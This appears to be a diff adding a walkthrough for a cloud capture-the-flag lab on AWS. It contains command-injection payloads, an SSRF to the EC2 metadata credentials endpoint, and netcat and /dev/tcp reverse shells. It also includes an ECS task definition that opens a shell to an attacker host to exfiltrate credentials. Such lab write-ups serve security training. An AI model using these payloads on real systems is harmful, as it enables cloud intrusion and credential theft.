|
| 1 | +# Easy Path |
| 2 | + |
| 3 | +Go to `http://<ec2_ip_address>` |
| 4 | + |
| 5 | +### Command Injection |
| 6 | + |
| 7 | +```bash |
| 8 | +# Command Injection on web. |
| 9 | +; aws s3 ls |
| 10 | +; aws s3 ls s3://<bucket-name>/ |
| 11 | +; aws s3 cp s3://<bucket-name>/flag.txt . |
| 12 | +; cat flag.txt |
| 13 | +``` |
| 14 | + |
| 15 | +### SSRF |
| 16 | + |
| 17 | +```bash |
| 18 | +# SSRF Attack. |
| 19 | +http://<ec2_ip_address>/?url=http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/<role> |
| 20 | + |
| 21 | +# Configure credentials. |
| 22 | +aws configure --profile attacker |
| 23 | +echo "aws_session_token = <token>" >> ~/.aws/credentials |
| 24 | + |
| 25 | +# Access to S3. |
| 26 | +aws s3 ls |
| 27 | +aws s3 ls s3://<bucket-name>/ |
| 28 | +aws s3 cp s3://<bucket-name>/flag.txt . |
| 29 | +cat flag.txt |
| 30 | +``` |
| 31 | + |
| 32 | + |
| 33 | +# Hard Path |
| 34 | + |
| 35 | +Go to `http://<ec2_ip_address>` |
| 36 | + |
| 37 | +### SSRF |
| 38 | + |
| 39 | +* Using IPv6 to SSRF on web with `http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/<role>` |
| 40 | +* Get credentials & using it to your CLI profile. |
| 41 | + |
| 42 | + ```bash |
| 43 | + aws configure --profile attacker |
| 44 | + echo "aws_session_token = <token>" >> ~/.aws/credentials |
| 45 | + ``` |
| 46 | + |
| 47 | +### Command Injection |
| 48 | + |
| 49 | +- prepare another host for revshell attack with `nc -lvp 4000` |
| 50 | +- command injection on web with `; nc <ip_address> 4000 -e /bin/sh &` |
| 51 | + |
| 52 | +### For more information |
| 53 | + |
| 54 | +- more information about iam. |
| 55 | + |
| 56 | + ```bash |
| 57 | + aws sts get-caller-identity |
| 58 | + aws iam list-roles |
| 59 | + aws iam get-role --role-name <role> |
| 60 | + aws iam list-attached-role-policies --role-name <role> |
| 61 | + aws iam list-role-policies --role-name <role> |
| 62 | + aws iam get-role-policy --role-name <role> --policy-name <policy> |
| 63 | + ```` |
| 64 | +
|
| 65 | +- more information about ecs clusters. |
| 66 | +
|
| 67 | + ```bash |
| 68 | + aws ecs list-clusters --region <region> |
| 69 | + aws ecs describe-clusters --region <region> --clusters <cluster> |
| 70 | + aws ecs list-container-instances --region <region> --cluster <cluster_arn> |
| 71 | + ``` |
| 72 | +- find available vpc subnets. |
| 73 | + |
| 74 | + ```bash |
| 75 | + aws ec2 describe-subnets --region <region> |
| 76 | + ``` |
| 77 | + |
| 78 | +### ECS Privesc |
| 79 | + |
| 80 | +1. Attacker prepare revshell at other public ip point with `nc -lvp 4000`. |
| 81 | + |
| 82 | +2. And now come back to CLI. |
| 83 | + |
| 84 | +3. Create an ECS Task Definition JSON File: |
| 85 | + |
| 86 | + Create a file named task-definition.json and include the following content. |
| 87 | + Replace `<region>`, `<task_name>`, `<task_role_arn>`, `<revshell_ip>`, and `<revshell_port>` with your actual values. |
| 88 | + |
| 89 | + ```json |
| 90 | + { |
| 91 | + "family": "<task_name>", |
| 92 | + "taskRoleArn": "<task_role_arn>", |
| 93 | + "networkMode": "awsvpc", |
| 94 | + "cpu": "256", |
| 95 | + "memory": "512", |
| 96 | + "requiresCompatibilities": ["FARGATE"], |
| 97 | + "containerDefinitions": [ |
| 98 | + { |
| 99 | + "name": "exfil_creds", |
| 100 | + "image": "python:latest", |
| 101 | + "entryPoint": ["sh", "-c"], |
| 102 | + "command": ["/bin/bash -c \\\"bash -i >& /dev/tcp/<revshell_ip>/<revshell_port> 0>&1\\\""] |
| 103 | + } |
| 104 | + ] |
| 105 | + } |
| 106 | + ``` |
| 107 | + |
| 108 | +4. Create an ECS Run Task JSON File. |
| 109 | + |
| 110 | + Create a file named run-task.json and include the following content. Replace `<subnet>` with the actual values for your setup. |
| 111 | + |
| 112 | + ```json |
| 113 | + { |
| 114 | + "launchType": "FARGATE", |
| 115 | + "networkConfiguration": { |
| 116 | + "awsvpcConfiguration": { |
| 117 | + "assignPublicIp": "ENABLED", |
| 118 | + "subnets": ["<subnet>"] |
| 119 | + } |
| 120 | + } |
| 121 | + } |
| 122 | + ``` |
| 123 | + |
| 124 | +5. Register Task Definition and Run Task |
| 125 | + |
| 126 | + Now, you can use the AWS CLI with the JSON files to execute the commands. |
| 127 | + |
| 128 | + ```bash |
| 129 | + # Register task definition |
| 130 | + aws ecs register-task-definition --region <region> --cli-input-json file://task-definition.json |
| 131 | + |
| 132 | + # Run task |
| 133 | + aws ecs run-task --region <region> --task-definition <task_name> --cluster <cluster_name> --cli-input-json file://run-task.json |
| 134 | + ``` |
| 135 | + |
| 136 | + After a few minutes, the revshell will be connected by container. |
| 137 | + Let's access to s3 on revshell. |
| 138 | +
|
| 139 | +### Access S3 |
| 140 | +
|
| 141 | +```bash |
| 142 | +apt update |
| 143 | +apt install awscli |
| 144 | +
|
| 145 | +aws s3 ls |
| 146 | +aws s3 ls s3://<bucket-name>/ |
| 147 | +aws s3 cp s3://<bucket-name>/secret-string.txt . |
| 148 | +cat secret-string.txt |
| 149 | +``` |
0 commit comments